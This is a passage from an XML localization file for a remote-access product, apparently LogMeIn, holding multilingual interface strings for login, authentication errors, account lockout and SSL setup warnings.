<nl>Meer</nl>
</msg>
<msg name="LESS">
<en>Less</en>
<de>Weniger</de>
<es>Menos</es>
<fr>Moindre</fr>
<it>Comprimi</it>
<ru>Меньше</ru>
<ja>詳細を表示しない</ja>
<zh>较少</zh>
<ko>보다 작음</ko>
<en-gb>Less</en-gb>
<hu>Kevesebb</hu>
<pt-br>Menos</pt-br>
<nl>Minder</nl>
</msg>
<msg name="CONTROL.DESC">
<en>Click here to log in and immediately start a Remote Control session.</en>
<de>Klicken Sie hier, um sich anzumelden und sofort die Fernsteuerung zu starten.</de>
<es>Haga clic aquí para registrarse y comenzar de inmediato una sesión de Control Remoto</es>
<fr>Cliquer ici pour vous identifier et commencer immédiatement une session distante</fr>
<it>Fare clic qui per eseguire l'accesso e avviare immediatamente una sessione di Controllo remoto.</it>
<ru>Щелкните здесь, чтобы войти и сразу начать сеанс удаленного управления.</ru>
<ja>ここをクリックしてログインすると、直ちにリモート制御セッションが起動します。</ja>
<zh>单击此处登录并立即启动远程控制会话。</zh>
<ko>로그인 후 즉시 원격 제어 세션을 시작하려면 여기를 클릭하십시오.</ko>
<en-gb>Click here to log in and immediately start a Remote Control session.</en-gb>
<hu>Kattintson ide az azonnali bejelentkezéshez és egy Távvezérlés munkamenet elindításához.</hu>
<pt-br>Clique aqui para fazer logon e iniciar imediatamente a sessão Controle remoto.</pt-br>
<nl>Klik hier om u aan te melden en onmiddellijk een sessie met Besturing op afstand te starten.</nl>
</msg>
<msg name="AUTH">
<en>Windows Authentication</en>
<de>Windows Authentifizierung</de>
<es>Autenticación Windows</es>
<fr>Identification Windows</fr>
<it>Autenticazione Windows</it>
<ru>Проверка подлинности Windows</ru>
<ja>Windows 認証</ja>
<zh>Windows 验证</zh>
<ko>Windows 인증</ko>
<en-gb>Windows Authentication</en-gb>
<hu>Windows hitelesítés</hu>
<pt-br>Autenticação do Windows</pt-br>
<nl>Windows-verificatie</nl>
</msg>
<msg os="macosx" name="AUTH">
<en>Mac Authentication</en>
<de>Mac Authentifizierung</de>
<es>Autenticación Mac</es>
<fr>Identification Mac</fr>
<it>Autenticazione Mac</it>
<ru>Проверка подлинности Mac</ru>
<ja>Mac 認証</ja>
<zh>Mac 验证</zh>
<ko>Mac 인증</ko>
<en-gb>Mac Authentication</en-gb>
<hu>Mac hitelesítés</hu>
<pt-br>Autenticação do Mac</pt-br>
<nl>Mac-verificatie</nl>
</msg>
<msg name="WEBSVC.VIA">
<en>via %WEBSVC.NAME</en>
<de>via %WEBSVC.NAME</de>
<es>a través de %WEBSVC.NAME</es>
<fr>par %WEBSVC.NAME</fr>
<it>tramite %WEBSVC.NAME</it>
<ru>через %WEBSVC.NAME</ru>
<ja>%WEBSVC.NAME 経由</ja>
<zh>通过 %WEBSVC.NAME</zh>
<ko>%WEBSVC.NAME를 통한</ko>
<en-gb>via %WEBSVC.NAME</en-gb>
<hu>a %WEBSVC.NAME révén</hu>
<pt-br>via %WEBSVC.NAME</pt-br>
<nl>via %WEBSVC.NAME</nl>
</msg>
<msg name="WEBSVC.CONNECTEDTO">
<en>Connecting to remote computer</en>
<de>Verbindung zum Ferncomputer wird hergestellt</de>
<es>Conectando al ordenador remoto</es>
<fr>Connexion à l'ordinateur distant</fr>
<it>Connessione al computer remoto</it>
<ru>Подключение к удаленному компьютеру</ru>
<ja>リモート コンピュータへ接続中</ja>
<zh>正在连接远程计算机...</zh>
<ko>원격 컴퓨터에 연결 중</ko>
<en-gb>Connecting to remote computer</en-gb>
<hu>Kapcsolódás a távoli számítógéphez</hu>
<pt-br>Conectando ao computador remoto</pt-br>
<nl>Verbinding maken met computer op afstand</nl>
</msg>
<msg name="WEBSVC.ERRMSGEMAIL">
<en>That was your LogMeIn ID.</en>
<de>Das ist Ihre LogMeIn-ID.</de>
<es>Ha introducido su ID de LogMeIn.</es>
<fr>Il s'agissait de votre ID LogMeIn.</fr>
<it>Hai inserito il tuo ID LogMeIn.</it>
<nl>Dit was uw LogMeIn-ID.</nl>
<pt-br>Este é seu ID do LogMeIn</pt-br>
<hu>A LogMeIn azonosítóját adta meg.</hu>
<ru>Вы указали свое имя пользователя LogMeIn.</ru>
<ko>귀하의 LogMeIn ID입니다.</ko>
<ja>LogMeIn ID が入力されました。</ja>
<zh>这就是您的 LogMeIn ID。</zh>
</msg>
<msg name="WEBSVC.HINT">
<en>Tip: Try logging in as if sitting at the remote computer.</en>
<de>Tipp: Melden Sie sich so an, als würden Sie vor dem Ferncomputer sitzen.</de>
<es>Consejo: Intente iniciar sesión como si estuviera delante del ordenador remoto.</es>
<fr>Conseil : essayez de vous connecter comme si vous étiez assis devant l'ordinateur distant.</fr>
<it>Suggerimento: Prova ad accedere come se fossi seduto al computer remoto.</it>
<nl>Tip: Probeer u aan te melden alsof u werkt aan een externe computer.</nl>
<pt-br>Dica: tente efetuar login como se estivesse no computador remoto.</pt-br>
<hu>Tipp: Jelentkezzen be úgy, mintha a távoli számítógép előtt ülne.</hu>
<ru>Совет: попробуйте выполнить вход так, как если бы вы находились непосредственно за удаленным компьютером.</ru>
<ko>팁: 원격 컴퓨터에서 하는 것처럼 로그인을 시도해보십시오.</ko>
<ja>ヒント : リモート コンピュータの前にいるかのようにログインしてみてください。</ja>
<zh>提示:尝试像使用远程计算机一样进行登录。</zh>
</msg>
<msg name="WEBSVC.LOGINFAILED">
<en>Login failed.</en>
<de>Anmeldung fehlgeschlagen.</de>
<es>El inicio de sesión ha fallado.</es>
<fr>Échec de la connexion.</fr>
<it>Accesso non riuscito.</it>
<nl>Aanmelden is mislukt.</nl>
<pt-br>Falha no login.</pt-br>
<hu>Sikertelen bejelentkezés.</hu>
<ru>Вход не выполнен.</ru>
<ko>로그인에 실패했습니다.</ko>
<ja>ログインに失敗しました。</ja>
<zh>登录失败。</zh>
</msg>
<msg name="WEBSVC.PWDONLYLOGINFAILED">
<en>Invalid Computer Access Code</en>
<de>Ungültiger Computerzugriffscode</de>
<es>Código de acceso al ordenador no válido</es>
<fr>Code d’accès à l’ordinateur non valable</fr>
<it>Codice di accesso al computer non valido</it>
<nl>Computertoegangscode ongeldig</nl>
<pt-br>Código de acesso ao computador inválido</pt-br>
<hu>Érvénytelen számítógépes hozzáférési kód</hu>
<ru>Недопустимый код доступа к компьютеру</ru>
<ko>유효하지 않은 컴퓨터 액세스 코드</ko>
<ja>コンピュータ アクセス コードが無効です</ja>
<zh>无效的计算机访问代码</zh>
</msg>
<msg name="WEBSVC.ERRMSGIPLOCKED">
<en>The user account is currently disabled. Contact the host computer’s domain Administrator or IT department for assistance.</en>
<de>Das Benutzerkonto ist derzeit deaktiviert. Wenden Sie sich an den für den Hostcomputer zuständigen Domänenadministrator bzw. die IT-Abteilung, um Hilfe zu erhalten.</de>
<es>La cuenta de usuario está desactivada. Póngase en contacto con el administrador del dominio o con el departamento de TI del ordenador host para solicitar ayuda.</es>
<fr>Le compte utilisateur est actuellement désactivé. Contactez l'administrateur de domaine ou le service informatique de l'ordinateur hôte pour obtenir une assistance.</fr>
<it>L'account utente è attualmente disabilitato. Contatta l'amministratore del dominio o il reparto IT di riferimento del computer host per assistenza.</it>
<nl>De account is momenteel uitgeschakeld. Neem voor ondersteuning contact op met de domeinbeheerder of IT-afdeling van de hostcomputer.</nl>
<pt-br>A conta do usuário está atualmente desabilitada. Entre em contato com o administrador de domínio ou com o departamento de TI do computador host para obter assistência.</pt-br>
<hu>A felhasználói fiók jelenleg le van tiltva. Kérjen segítséget a gazdaszámítógép tartománygazdájától vagy a gépet kezelő informatikai részlegtől.</hu>
<ru>Эта учетная запись пользователя сейчас отключена. Обратитесь за помощью к администратору домена хост-компьютера или в ИТ-отдел, обслуживающий хост-компьютер.</ru>
<ko>현재 사용자 계정이 비활성화되었습니다. 호스트 컴퓨터의 도메인 관리자 또는 IT 부서에 문의하여 도움을 요청하십시오.</ko>
<ja>ユーザー アカウントは現在無効になっています。ホスト コンピュータのドメイン管理者または IT 部門にご連絡ください。</ja>
<zh>该用户帐户目前已被禁用。请联系主机的域管理员或 IT 部门以获取帮助。</zh>
</msg>
<msg name="WEBSVC.REMEMBERCODE">
<en>Remember code</en>
<de>Code speichern</de>
<es>Recordar código</es>
<fr>Mémoriser le code</fr>
<it>Memorizza il codice</it>
<nl>Code onthouden</nl>
<pt-br>Lembrar código</pt-br>
<hu>Kód megjegyzése</hu>
<ru>Запомнить код</ru>
<ko>코드 기억하기</ko>
<ja>コードを記憶する</ja>
<zh>记住代码</zh>
</msg>
<msg name="WEBSVC.USRPWD">
<en>Enter the Windows user name and password you use when physically sitting at the remote computer.</en>
<de>Bitte geben Sie den Benutzernamen und das Passwort für diesen Computer ein</de>
<es>Escriba el nombre de usuario y la contraseña de este ordenador</es>
<fr>Veuillez saisir le nom d'utilisateur et mot de passe pour cet ordinateur</fr>
<it>Inserire il nome utente e la password per il computer</it>
<ru>Введите имя пользователя и пароль для этого компьютера</ru>
<ja>このコンピュータのユーザー名とパスワードを入力してください</ja>
<zh>请输入此计算机的用户名和密码</zh>
<ko>이 컴퓨터의 사용자 이름과 암호를 입력하십시오</ko>
<en-gb>Enter the Windows user name and password you use when physically sitting at the remote computer.</en-gb>
<hu>Kérjük, adja meg az ehhez a számítógéphez tartozó felhasználónevet és jelszót.</hu>
<pt-br>Insira um nome de usuário e uma senha para este computador</pt-br>
<nl>Voer de gebruikersnaam en het wachtwoord in voor deze computer</nl>
</msg>
<msg os="macosx" name="WEBSVC.USRPWD">
<en>Enter the Mac user name and password you use when physically sitting at the remote computer.</en>
<de>Melden Sie sich bitte mit dem Mac Benutzername und Kennwort.</de>
<ja>Mac ユーザ名とパスワードを入力してください。</ja>
<es>Introduzca su nombre de usuario y contraseña de Mac.</es>
<fr>Entrez vos nom d'utilisateur et mot de passe.</fr>
<it>Immettere il nome utente e la password di Mac.</it>
<ru>Введите имя пользователя и пароль Mac.</ru>
<zh>请输入您的 Mac 用户名和密码。</zh>
<ko>Mac 사용자 이름 및 암호를 입력하십시오.</ko>
<en-gb>Enter the Mac user name and password you use when physically sitting at the remote computer.</en-gb>
<hu>Kérem, adja meg Mac felhasználói nevét és jelszavát.</hu>
<pt-br>Digite seu nome de usuário e sua senha do Mac.</pt-br>
<nl>Voer uw Mac-gebruikersnaam en -wachtwoord in.</nl>
</msg>
<msg name="WEBSVC.PWDONLY">
<en>Enter the Computer Access Code:</en>
<de>Melden Sie sich bitte mit dem Computer-Zugriffscode.</de>
<ja>コンピュータ アクセス コードを入力してください:</ja>
<es>Introduzca el código de acceso al ordenador:</es>
<fr>Veuillez saisir le code d'accès actuel de cet ordinateur.</fr>
<it>Immettere il codice di accesso al computer:</it>
<ru>Введите код доступа к компьютеру:</ru>
<zh>请输入计算机访问代码:</zh>
<ko>컴퓨터 액세스 코드를 입력하십시오:</ko>
<en-gb>Enter the Computer Access Code:</en-gb>
<hu>Kérem, írja be számítógépes hozzáférési kódját:</hu>
<pt-br>Digite o código de acesso do computador.</pt-br>
<nl>Voer de toegangscode voor de computer in:</nl>
</msg>
<msg name="WEBSVC.ERRMSG1326NOLOCK">
<en>The user name or password you entered is incorrect. Please try again.</en>
<de>Der eingegebene Benutzername oder das Passwort ist falsch. Bitte versuchen Sie es erneut.</de>
<es>El nombre de usuario o la contraseña que ha introducido no son correctos. Vuelva a intentarlo.</es>
<fr>Le nom d'utilisateur ou le mot de passe que vous avez saisi est incorrect. Veuillez réessayer.</fr>
<it>Il nome utente o la password inseriti non sono corretti. Riprovare.</it>
<ru>Введена неверная комбинация имени пользователя и пароля. Повторите попытку.</ru>
<ja>入力されたユーザー名またはパスワードが正しくありません。 再試行してください。</ja>
<zh>您输入的用户名或密码不正确。 请重试。</zh>
<ko>입력한 사용자 이름 또는 암호가 잘못되었습니다. 다시 시도하십시오.</ko>
<en-gb>The user name or password you entered is incorrect. Please try again.</en-gb>
<hu>A megadott felhasználónév vagy jelszó hibás. Próbálja meg újra.</hu>
<pt-br>O nome de usuário ou a senha fornecidos estão incorretos. Tente novamente.</pt-br>
<nl>De gebruikersnaam of het wachtwoord dat u hebt ingevoerd is niet juist. Probeer het opnieuw.</nl>
</msg>
<msg name="WEBSVC.ERRMSG1326">
<en>The user name or password you entered is incorrect. Please try again. Remaining attempts:</en>
<de>Der eingegebene Benutzername oder das Passwort ist falsch. Bitte versuchen Sie es erneut. Anzahl der verbleibenden Versuche:</de>
<es>El nombre de usuario o la contraseña que ha introducido no son correctos. Vuelva a intentarlo. Intentos restantes:</es>
<fr>Le nom d'utilisateur ou le mot de passe que vous avez saisi est incorrect. Veuillez réessayer. Tentatives restantes :</fr>
<it>Il nome utente o la password inseriti non sono corretti. Riprovare. Tentativi restanti:</it>
<ru>Введена неверная комбинация имени пользователя и пароля. Повторите попытку. Осталось попыток:</ru>
<ja>入力されたユーザー名またはパスワードが正しくありません。 再試行してください。 残りの試行可能回数:</ja>
<zh>您输入的用户名或密码不正确。 请重试。 保持尝试:</zh>
<ko>입력한 사용자 이름 또는 암호가 잘못되었습니다. 다시 시도하십시오. 남은 시도 수:</ko>
<en-gb>The user name or password you entered is incorrect. Please try again. Remaining attempts:</en-gb>
<hu>A megadott felhasználónév vagy jelszó hibás. Próbálja meg újra. Hátralévő próbálkozások száma:</hu>
<pt-br>O nome de usuário ou a senha fornecidos estão incorretos. Tente novamente. Tentativas restantes:</pt-br>
<nl>De gebruikersnaam of het wachtwoord dat u hebt ingevoerd is niet juist. Probeer het opnieuw. Resterende pogingen:</nl>
</msg>
<msg name="WEBSVC.ERRMSG1326LAST">
<en>The user name or password you entered is incorrect. Please try again. This is your final attempt before you are locked out.</en>
<de>Der eingegebene Benutzername oder das Passwort ist falsch. Bitte versuchen Sie es erneut. Dies ist Ihr letzter Versuch, bevor Ihre IP-Adresse gesperrt wird.</de>
<es>El nombre de usuario o la contraseña que ha introducido no son correctos. Vuelva a intentarlo. Este es el último intento que tiene antes de que se bloquee su cuenta.</es>
<fr>Le nom d'utilisateur ou le mot de passe que vous avez saisi est incorrect. Veuillez réessayer. En cas d'erreur, vous serez bloqué.</fr>
<it>Il nome utente o la password inseriti non sono corretti. Riprovare. Questo è l'ultimo tentativo prima di venire bloccati.</it>
<ru>Введена неверная комбинация имени пользователя и пароля. Повторите попытку. Это ваша последняя попытка перед блокировкой.</ru>
<ja>入力されたユーザー名またはパスワードが正しくありません。 再試行してください。 このログインに失敗するとロックアウトされます。</ja>
<zh>您输入的用户名或密码不正确。 请重试。 这是您最后一次尝试机会,如果仍然失败,您的帐号将会被锁定。</zh>
<ko>입력한 사용자 이름 또는 암호가 잘못되었습니다. 다시 시도하십시오. 마지막 시도이며 실패하면 이후 잠깁니다.</ko>
<en-gb>The user name or password you entered is incorrect. Please try again. This is you final attempt before you are locked out.</en-gb>
<hu>A megadott felhasználónév vagy jelszó hibás. Próbálja meg újra. Ez az utolsó próbálkozási lehetősége, mielőtt a rendszer kizárja Önt.</hu>
<pt-br>O nome de usuário ou a senha fornecidos estão incorretos. Tente novamente. Esta é sua tentativa final antes de ser bloqueado.</pt-br>
<nl>De gebruikersnaam of het wachtwoord dat u hebt ingevoerd is niet juist. Probeer het opnieuw. U kunt nog één poging doen, voordat u wordt geblokkeerd.</nl>
</msg>
<msg name="WEBSVC.ERRMSG4320NOLOCK">
<en>Try using Administrator credentials or ensure you have User Access Control permissions.</en>
<de>Unter Umständen besitzen Sie keine Administratorrechte für diesen Computer. Bitte beheben Sie dieses Problem und versuchen Sie es erneut.</de>
<es>Es posible que no tenga privilegios de Administrador en este equipo. Resuelva este problema e inténtelo de nuevo.</es>
<fr>Vous n'avez peut-être pas les privilèges Administrateur sur cet ordinateur. Corrigez ce problème et réessayez.</fr>
<it>Si potrebbe non disporre dei privilegi di amministratore nel computer. Risolvere il problema e riprovare.</it>
<ru>Возможно, у вас нет прав администратора для этого компьютера. Разрешите эту проблему и повторите попытку.</ru>
<ja>このコンピュータへの管理者権限がない可能性があります。 問題を解決してから再試行してください。</ja>
<zh>您可能不具有此计算机的管理员权限。 请解决此问题,然后重试。</zh>
<ko>이 컴퓨터에 대한 관리자 권한이 없는 것일 수 있습니다. 이 문제를 해결한 후 다시 시도하십시오.</ko>
<en-gb>Try using Administrator credentials or ensure you have User Access Control permissions.</en-gb>
<hu>Előfordulhat, hogy Ön nem rendelkezik rendszergazdai jogosultságokkal ehhez a számítógéphez. Kérjük, találjon megoldást erre a problémára, majd próbálja meg újra.</hu>
<pt-br>Você não tem privilégios de Administrador para este computador. Solucione este problema e tente de novo.</pt-br>
<nl>Mogelijk hebt u geen beheerdersrechten voor deze computer. Los dit op en probeer het nogmaals.</nl>
</msg>
<msg name="WEBSVC.ERRMSG4320">
<en>You may not have Administrator privileges for this computer. Please resolve this issue and try again. Remaining attempts:</en>
<de>Unter Umständen besitzen Sie keine Administratorrechte für diesen Computer. Bitte beheben Sie dieses Problem und versuchen Sie es erneut. Anzahl der verbleibenden Versuche:</de>
<es>Es posible que no tenga privilegios de Administrador en este equipo. Resuelva este problema e inténtelo de nuevo. Intentos restantes:</es>
<fr>Vous n'avez peut-être pas les privilèges Administrateur sur cet ordinateur. Corrigez ce problème et réessayez. Tentatives restantes :</fr>
<it>Si potrebbe non disporre dei privilegi di amministratore nel computer. Risolvere il problema e riprovare. Tentativi restanti:</it>
<ru>Возможно, у вас нет прав администратора для этого компьютера. Разрешите эту проблему и повторите попытку. Осталось попыток:</ru>
<ja>このコンピュータへの管理者権限がない可能性があります。 問題を解決してから再試行してください。 残りの試行可能回数:</ja>
<zh>您可能不具有此计算机的管理员权限。 请解决此问题,然后重试。 保持尝试:</zh>
<ko>이 컴퓨터에 대한 관리자 권한이 없는 것일 수 있습니다. 이 문제를 해결한 후 다시 시도하십시오. 남은 시도 수:</ko>
<en-gb>You may not have Administrator privileges for this computer. Please resolve this issue and try again. Remaining attempts:</en-gb>
<hu>Előfordulhat, hogy Ön nem rendelkezik rendszergazdai jogosultságokkal ehhez a számítógéphez. Kérjük, találjon megoldást erre a problémára, majd próbálja meg újra. Hátralévő próbálkozások száma:</hu>
<pt-br>Você não tem privilégios de Administrador para este computador. Solucione este problema e tente de novo. Tentativas restantes:</pt-br>
<nl>Mogelijk hebt u geen beheerdersrechten voor deze computer. Los dit op en probeer het nogmaals. Resterende pogingen:</nl>
</msg>
<msg name="WEBSVC.ERRMSG4320LAST">
<en>You may not have Administrator privileges for this computer. Please resolve this issue and try again. This is your final attempt before you are locked out.</en>
<de>Unter Umständen besitzen Sie keine Administratorrechte für diesen Computer. Bitte beheben Sie dieses Problem und versuchen Sie es erneut. Dies ist Ihr letzter Versuch, bevor Ihre IP-Adresse gesperrt wird.</de>
<es>Es posible que no tenga privilegios de Administrador en este equipo. Resuelva este problema e inténtelo de nuevo. Este es el último intento que tiene antes de que se bloquee su cuenta.</es>
<fr>Vous n'avez peut-être pas les privilèges Administrateur sur cet ordinateur. Corrigez ce problème et réessayez. En cas d'erreur, vous serez bloqué.</fr>
<it>Si potrebbe non disporre dei privilegi di amministratore nel computer. Risolvere il problema e riprovare. Questo è l'ultimo tentativo prima di venire bloccati.</it>
<ru>Возможно, у вас нет прав администратора для этого компьютера. Разрешите эту проблему и повторите попытку. Это ваша последняя попытка перед блокировкой.</ru>
<ja>このコンピュータへの管理者権限がない可能性があります。 問題を解決してから再試行してください。 このログインに失敗するとロックアウトされます。</ja>
<zh>您可能不具有此计算机的管理员权限。 请解决此问题,然后重试。 这是您最后一次尝试机会,如果仍然失败,您的帐号将会被锁定。</zh>
<ko>이 컴퓨터에 대한 관리자 권한이 없는 것일 수 있습니다. 이 문제를 해결한 후 다시 시도하십시오. 마지막 시도이며 실패하면 이후 잠깁니다.</ko>
<en-gb>You may not have Administrator privileges for this computer. Please resolve this issue and try again. This is your final attempt before you are locked out.</en-gb>
<hu>Előfordulhat, hogy Ön nem rendelkezik rendszergazdai jogosultságokkal ehhez a számítógéphez. Kérjük, találjon megoldást erre a problémára, majd próbálja meg újra. Ez az utolsó próbálkozási lehetősége, mielőtt a rendszer kizárja Önt.</hu>
<pt-br>Você não tem privilégios de Administrador para este computador. Solucione este problema e tente de novo. Esta é sua tentativa final antes de ser bloqueado.</pt-br>
<nl>Mogelijk hebt u geen beheerdersrechten voor deze computer. Los dit op en probeer het nogmaals. U kunt nog één poging doen, voordat u wordt geblokkeerd.</nl>
</msg>
<msg name="OPTIONS">
<en>Options</en>
<de>Optionen</de>
<es>Opciones</es>
<fr>Options</fr>
<it>Opzioni</it>
<ru>Параметры</ru>
<ja>オプション</ja>
<zh>选项</zh>
<ko>옵션</ko>
<en-gb>Options</en-gb>
<hu>Lehetőségek</hu>
<pt-br>Opções</pt-br>
<nl>Opties</nl>
</msg>
<msg name="OPTIONS.ON">
<en>Show advanced options &gt;&gt;</en>
<de>Erweiterte Optionen anzeigen &gt;&gt;</de>
<es>Mostrar opciones avanzadas &gt;&gt;</es>
<fr>Montrer les options avancées &gt;&gt;</fr>
<it>Mostra opzioni avanzate &gt;&gt;</it>
<ru>Показать дополнительные параметры &gt;&gt;</ru>
<ja>詳細オプションを表示 &gt;&gt;</ja>
<zh>显示高级选项 &gt;&gt;</zh>
<ko>고급 옵션 표시 &gt;&gt;</ko>
<en-gb>Show advanced options &gt;&gt;</en-gb>
<hu>Speciális lehetőségek megjelenítése &gt;&gt;</hu>
<pt-br>Mostrar opções avançadas &gt;&gt;</pt-br>
<nl>Geavanceerde opties weergeven &gt;&gt;</nl>
</msg>
<msg name="OPTIONS.OFF">
<en>&lt;&lt; Hide advanced options</en>
<de>&lt;&lt; Erweiterte Optionen ausblenden</de>
<es>&lt;&lt; Ocultar opciones avanzadas</es>
<fr>&lt;&lt; Cacher les options avancées</fr>
<it>&lt;&lt; Nascondi opzioni avanzate</it>
<ru>&lt;&lt; Скрыть дополнительные параметры</ru>
<ja>&lt;&lt; 詳細オプションを隠す</ja>
<zh>&lt;&lt; 隐藏高级选项</zh>
<ko>&lt;&lt; 고급 옵션 숨기기</ko>
<en-gb>&lt;&lt; Hide advanced options</en-gb>
<hu>&lt;&lt; Speciális lehetőségek elrejtése</hu>
<pt-br>&lt;&lt; Ocultar opções avançadas</pt-br>
<nl>&lt;&lt; Geavanceerde opties verbergen</nl>
</msg>
<msg name="SSL">
<en>Use SSL to secure your session</en>
<de>SSL Sicherheit für die Sitzung verwenden</de>
<es>Utilice SSL para proteger su sesión</es>
<fr>Utiliser la sécurisation SSL pour votre session</fr>
<it>Usa SSL per la protezione della sessione</it>
<ru>Использовать SSL для защиты сеанса</ru>
<ja>セッションを保護するために SSL を使用する</ja>
<zh>使用 SSL 确保会话安全</zh>
<ko>SSL을 사용하여 세션을 보호합니다</ko>
<en-gb>Use SSL to secure your session</en-gb>
<hu>SSL használata a biztonságos munkamenethez</hu>
<pt-br>Use SSL para proteger sua sessão</pt-br>
<nl>SSL gebruiken om uw sessie te beveiligen</nl>
</msg>
<msg name="NOTUSINGSSL">
<en>Warning! The user name and password you are about to enter will be transmitted in clear text unless
you turn on SSL encryption.</en>
<de>Warnung! Der Benutzername und das Kennwort werden im Klartext übertragen. Schalten Sie SSL ein, um die Daten zu verschlüsseln.</de>
<es>Aviso! El nombre de usuario y la contraseña que está a punto de introducir serán transmitidos en texto plano a menos que
active el cifrado SSL.</es>
<fr>ATTENTION ! Le nom d'utilisateur et le mot de passe que vous allez entrer sera tranmis en texte clair sauf
si vous activez le chiffrage SSL</fr>
<it>Avviso! Il nome utente e la password immessi saranno trasmessi come testo non crittografato a meno che non venga attivata la crittografia SSL.</it>
<ru>Предупреждение! Вводимые имя пользователя и пароль будут переданы открытым тестом, если только не
включить SSL-шифрование.</ru>
<ja>警告!SSL 暗号化をしない場合、これから入力するユーザ名とパスワードはクリア テキストで送信されます。</ja>
<zh>警告!除非启用 SSL 加密,否则您即将输入的用户名和密码将以明文方式传输。</zh>
<ko>경고! SSL 암호화를 설정하지 않은 경우 입력하는 사용자 이름 및 암호는 일반 텍스트로 전송됩니다.</ko>
<en-gb>Warning! The username and password you are about to enter will be transmitted in clear text unless
you turn on SSL encryption.</en-gb>
<hu>Figyelem! A felhasználói név és a jelszó, amelyet meg fog adni, sima szövegként kerül átadásra, kivéve,
ha bekapcsolja az SSL titkosítást.</hu>
<pt-br>Aviso! O nome de usuário e a senha que você digitará serão transmitidos em texto sem formatação, a menos que
você ative a criptografia SSL.</pt-br>
<nl>Waarschuwing! De gebruikersnaam en het wachtwoord die u invoert, zullen als gewone tekst worden verzonden tenzij u de optie voor SSL-codering inschakelt.</nl>
</msg>
<msg name="NOSSL">
<en>This computer does not yet have SSL communication set up. While
not a requirement, 128-bit SSL encryption should be used to protect
your %PRODUCTNAME session. After logging in, please go to Security / SSL Setup
to generate your SSL certificates and enable encrypted communication.</en>
<de>Auf diesem Computer ist SSL noch nicht eingerichtet.  Wir empfehlen, für die Absicherung
Ihrer %PRODUCTNAME Sitzung eine 128-bit SSL Verschlüsselung zu verwenden. Nach der Anmeldung
wählen Sie Sicherheit / SSL Setup und erstellen dort Ihr SSL Zertifikat. Die verschlüsselte
Kommunikation ist dann möglich.</de>
<es>Este equipo todavía no tiene la configuración de la comunicación SSL. Aunque
no sea un requisito, se debería utilizar el cifrado SSL de 128 bits para proteger
la sesión de %PRODUCTNAME. Después de iniciar sesión, vaya a Configuración SSL/Seguridad
para generar sus certificados SSL y habilitar la comunicación cifrada.</es>
<fr>Cet ordinateur n'est pas encore sécurisé par une connexion SSL. Même
si ce n'est pas obligatoire, une connexion SSL 128-bit sécurisée devrait
être utilisée pour protéger votre session %PRODUCTNAME. Après vous
être annoncé, merci d'aller dans Sécurité\Setup SSL</fr>
<it>La comunicazione SSL non è impostata su questo computer. Sebbene non sia un requisito, si consiglia di utilizzare la crittografia SSL a 128 bit per proteggere la sessione di %PRODUCTNAME. Dopo aver eseguito l'accesso, passare a Protezione/Impostazione SSL per generare i certificati SSL e consentire la comunicazione crittografata.</it>
<ru>На данном компьютере еще не установлено SSL-подключение. Для защиты сеанса %PRODUCTNAME следует использовать 128-разрядное SSL-шифрование, хотя это и не является обязательным требованием. После входа в систему перейдите к консоли Безопасность/Настройка SSL, чтобы сгенерировать SSL-сертификаты и включить шифрованное подключение.</ru>
<ja>このコンピュータには、SSL 通信がまだ設定されていません。必須ではありませんが、%PRODUCTNAME セッションを保護するために 128 ビット SSL 暗号化の使用を推奨します。ログイン後、セキュリティ/SSL 設定に進んで SSL 証明書を生成し、暗号化通信ができるようにしてください。</ja>
<zh>此计算机尚未设置 SSL 通信。尽管并非必需,
但应使用 128 位 SSL 加密来保护
您的 %PRODUCTNAME 会话。登录之后,请转到安全/SSL 设置
以生成您的 SSL 证书并启用已加密的通信。</zh>
<ko>이 컴퓨터에는 아직 SSL 통신이 설정되어 있지 않습니다. 128비트 SSL 암호화가 %PRODUCTNAME 세션을 보호하기 위해 사용됩니다(필수사항은 아님). 로그인한 후 보안/SSL 설정으로 가서 SSL 인증서를 생성한 후 암호화된 통신을 사용하십시오.</ko>
<en-gb>This computer does not yet have SSL communication set up. While
not a requirement, 128-bit SSL encryption should be used to protect
your %PRODUCTNAME session. After logging in, please go to Security / SSL Setup
to generate your SSL certificates and enable encrypted communication.</en-gb>
<hu>Ez a számítógép még nem rendelkezik SSL kommunikációs beállítással. Bár
nem követelmény, a 128-as SSL titkosítás használandó a védelemhez
az Ön %PRODUCTNAME munkamenete. Bejelentkezés után lépjen ide: Biztonság/SSL beállítás
hogy létrehozza SSL tanúsítványait és bekapcsolja a titkosított kommunikációt.</hu>
<pt-br>Este computador ainda não tem configuração de comunicação SSL. Embora não seja
uma exigência, a criptografia SSL de 128 bits deve ser usada para proteger
sua sessão do %PRODUCTNAME. Depois do login, vá para Segurança/Configuração de SSL
para gerar seus certificados SSL e habilitar a comunicação criptografada.</pt-br>
<nl>Voor deze computer is nog geen SSL-communicatie geconfigureerd. Hoewel dit niet vereist is, zou u 128-bits SSL-codering moeten gebruiken om uw %PRODUCTNAME-sessie te beveiligen. Nadat u zich hebt aangemeld, gaat u naar Beveiliging/SSL configureren om uw SSL-certificaten te genereren en de gecodeerde communicatie in te schakelen.</nl>
</msg>
<msg name="NOSSLPDA">
<en>This computer does not yet have SSL communication set up.</en>
<de>Auf diesem Computer ist SSL noch nicht eingerichtet.</de>
<es>Este ordenador todavía no tiene establecimiento de comunicación SSL.</es>
<fr>Cet ordinateur n'est pas encore sécurisé par une connexion SSL.</fr>
<it>La comunicazione SSL non è impostata su questo computer.</it>
<ru>На данном компьютере еще не установлено SSL-подключение.</ru>
<ja>このコンピュータにはまだ SSL 通信が設定されていません。</ja>
<zh>此计算机尚未设置 SSL 通信。</zh>
<ko>이 컴퓨터에는 아직 SSL 통신이 설정되어 있지 않습니다.</ko>
<en-gb>This computer does not yet have SSL communication set up.</en-gb>
<hu>Ez a számítógép még nem rendelkezik SSL kommunikációs beállítással.</hu>
<pt-br>Este computador ainda não tem configuração de comunicação SSL.</pt-br>
<nl>Voor deze computer is nog geen SSL-communicatie geconfigureerd.</nl>
</msg>
<msg name="NOCOOKIE">
<en>There is a problem with cookies in your browser. %PRODUCTNAME relies on cookies
to log you in and maintain your user session. The problem can occur if you
have disabled cookies in your browser or if the name of the remote computer
has illegal characters in it e.g. _ \\ % $ ^ &amp; * ( ). If the problem is
the computer name, try to connect using the IP address of the remote computer
instead of its host name.</en>
<de>Ihr Webbrowser hat ein Problem mit den Cookies festgestellt. %PRODUCTNAME verwendet Cookies,
um Sie anzumelden und Ihre Sitzung aufrechtzuerhalten. Eventuell haben Sie Cookies
in der Konfiguration Ihres Browsers deaktiviert oder der
Name des Ferncomputers enthält nicht zulässige Zeichen wie z. B.
